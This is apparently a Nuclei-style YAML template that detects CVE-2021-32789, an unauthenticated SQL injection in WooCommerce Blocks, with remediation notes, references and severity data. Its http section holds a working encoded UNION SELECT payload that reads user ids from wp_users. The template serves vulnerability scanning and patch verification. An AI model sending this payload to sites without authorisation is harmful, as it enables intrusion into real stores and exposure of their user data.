id: CVE-2021-32789 info: name: WooCommerce Blocks 2.5 to 5.5 - Unauthenticated SQL Injection author: rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan,madrobot severity: high description: | woocommerce-gutenberg-products-block is a feature plugin for WooCommerce Gutenberg Blocks. An SQL injection vulnerability impacts all WooCommerce sites running the WooCommerce Blocks feature plugin between version 2.5.0 and prior to version 2.5.16. Via a carefully crafted URL, an exploit can be executed against the `wc/store/products/collection-data?calculate_attribute_counts[][taxonomy]` endpoint that allows the execution of a read only sql query. There are patches for many versions of this package, starting with version 2.5.16. There are no known workarounds aside from upgrading. remediation: | Update WooCommerce Blocks to version 5.6 or later to mitigate the vulnerability. reference: - https://woocommerce.com/posts/critical-vulnerability-detected-july-2021 - https://viblo.asia/p/phan-tich-loi-unauthen-sql-injection-woocommerce-naQZRQyQKvx - https://securitynews.sonicwall.com/xmlpost/wordpress-woocommerce-plugin-sql-injection/ - https://wpscan.com/vulnerability/0f2089dc-9376-4d7d-95a2-25c99526804a - https://nvd.nist.gov/vuln/detail/CVE-2021-32789 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-32789 cwe-id: CWE-89 epss-score: 0.02288 epss-percentile: 0.88481 cpe: cpe:2.3:a:automattic:woocommerce_blocks:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: automattic product: woocommerce_blocks framework: wordpress tags: cve,cve2021,wordpress,woocommerce,sqli,wp-plugin,wp,wpscan http: - method: GET path: - '{{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500' matchers-condition: and matchers: - type: word words: - 'sqli-test' - 'attribute_counts' - 'price_range' - 'term' condition: and - type: word part: header words: - 'application/json' - type: status status: - 200 # digest: 4b0a00483046022100a806ad2a7a127568a16c4a3a25ef84db3ea1a35c523a6ebb5ae2afb6780473f7022100a0a36c8aae07815a5e671875862ea22ea722c0742daa1cf0c6c2c88558f0dcf9:922c64590222798bb761d5b6d8e72950